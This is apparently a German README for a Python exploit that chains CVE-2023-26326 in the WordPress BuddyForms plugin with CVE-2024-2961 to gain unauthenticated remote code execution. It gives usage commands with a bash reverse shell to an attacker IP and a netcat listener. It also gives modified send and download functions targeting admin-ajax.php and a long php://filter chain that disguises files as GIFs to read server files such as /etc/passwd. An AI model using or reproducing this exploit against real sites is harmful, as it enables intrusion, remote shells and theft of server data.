
Python-Exploit für CVE-2023-26326 (WordPress BuddyForms) kombiniert mit CVE-2024-2961, um nicht authentifizierte Remotecodeausführung über php://filter auf PHP 8+ zu erreichen.
usage: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
Ursprünglich erforderte CVE-2023–26326 Gadget-Ketten, um es als Deserialisierungsschwachstelle auszunutzen. Diese Methode ist auf neueren WordPress-Seiten, die auf PHP 8+ laufen, nicht mehr möglich; durch die Verkettung mit CVE-2024-2961 wird der Exploit jedoch über php://filter anstelle von phar:// möglich.
Der Exploit wurde durch Modifikation des Skripts cnext-exploit.py erstellt, wobei die notwendigen Änderungen für CVE-2023-26326 vorgenommen wurden, wie in der Änderungsbeschreibung detailliert beschrieben.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT>, um die Reverse-Shell zu empfangen:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
Bildschirmfoto der Ausführung des Exploits
Bildschirmfoto des Empfangs der Reverse-Shell
Die Kernidee des Exploits für CVE-2024-2961 wurde beibehalten, es waren jedoch Änderungen erforderlich, um die Filterkette an die Website zu senden und Dateien vom Server herunterzuladen.
Im ursprünglichen Exploit wird die send-Funktion verwendet, um einen Pfad an den Server zu senden:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Für WordPress mit BuddyForms erfolgt die Interaktion standardmäßig über eine POST-Anfrage an /wp-admin/admin-ajax.php, wobei der Body action=upload_image_from_url&url=<EINSCHLEUSUNGSPUNKT>&id=1&accepted_files=image/gif enthält. Der URL-Parameter dient als Einschleusungspunkt zum Senden der Filterkette an den Server. Dies führte zur folgenden Modifikation der send-Funktion:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
Der ursprüngliche Exploit hatte eine download-Funktion zum Herunterladen von Dateien vom Server. Die folgende Version der download-Funktion wird im ursprünglichen Exploit verwendet:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Um dies an BuddyForms anzupassen, analysieren wir die Funktion buddyforms_upload_image_from_url, die das Hochladen von Bildern von einer URL übernimmt. Sie verwendet file_get_contents, prüft den Dateityp mit getimagesize() und speichert den Inhalt dann im Verzeichnis wp-content/uploads. Dies ermöglicht es uns, php://filter auszunutzen, um lokale Dateien zu lesen und sie im Uploads-Verzeichnis zu speichern, sodass sie per URL zugänglich sind. Wir müssen jedoch die Dateiprüfung umgehen, indem wir dem Dateiinhalt GIF89a voranstellen, um ihn als GIF zu tarnen. Dies kann mithilfe von Filterverkettung erfolgen, und das Tool wrapwrap kann die erforderliche Kette generieren:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
Filterkette mit wrapwrap generieren
Diese generierte Filterkette sollte die im ursprünglichen Skript verwendete Base64-Kodierung ersetzen. Zusätzlich muss das Format zum Extrahieren des hochgeladenen Dateipfads aus der Antwort aktualisiert werden, um das JSON-Format zu berücksichtigen, das das Attribut „response“ mit dem Dateipfad enthält.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Beachte, dass das Präfix GIF89a entfernt werden muss, bevor der Dateiinhalt im Exploit verwendet wird. Dies führt zu folgender modifizierten download-Funktion:
def download(self, path: str) -> bytes:
# Präfix "GIF89a" anhängen, um die Dateitypprüfung mit getimagesize() zu umgehen
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Präfix "GIF89a" entfernen
return self.session.get(file_path).content[6:]
libc.so.6Bitte beachte, dass das Herunterladen der Datei libc.so.6 vom Server möglicherweise nicht korrekt mit den Filterketten funktioniert, da die Binärdatei während des Vorgangs modifiziert wird. Stattdessen sollte die korrekte Datei im Stammverzeichnis des Exploits bereitgestellt werden.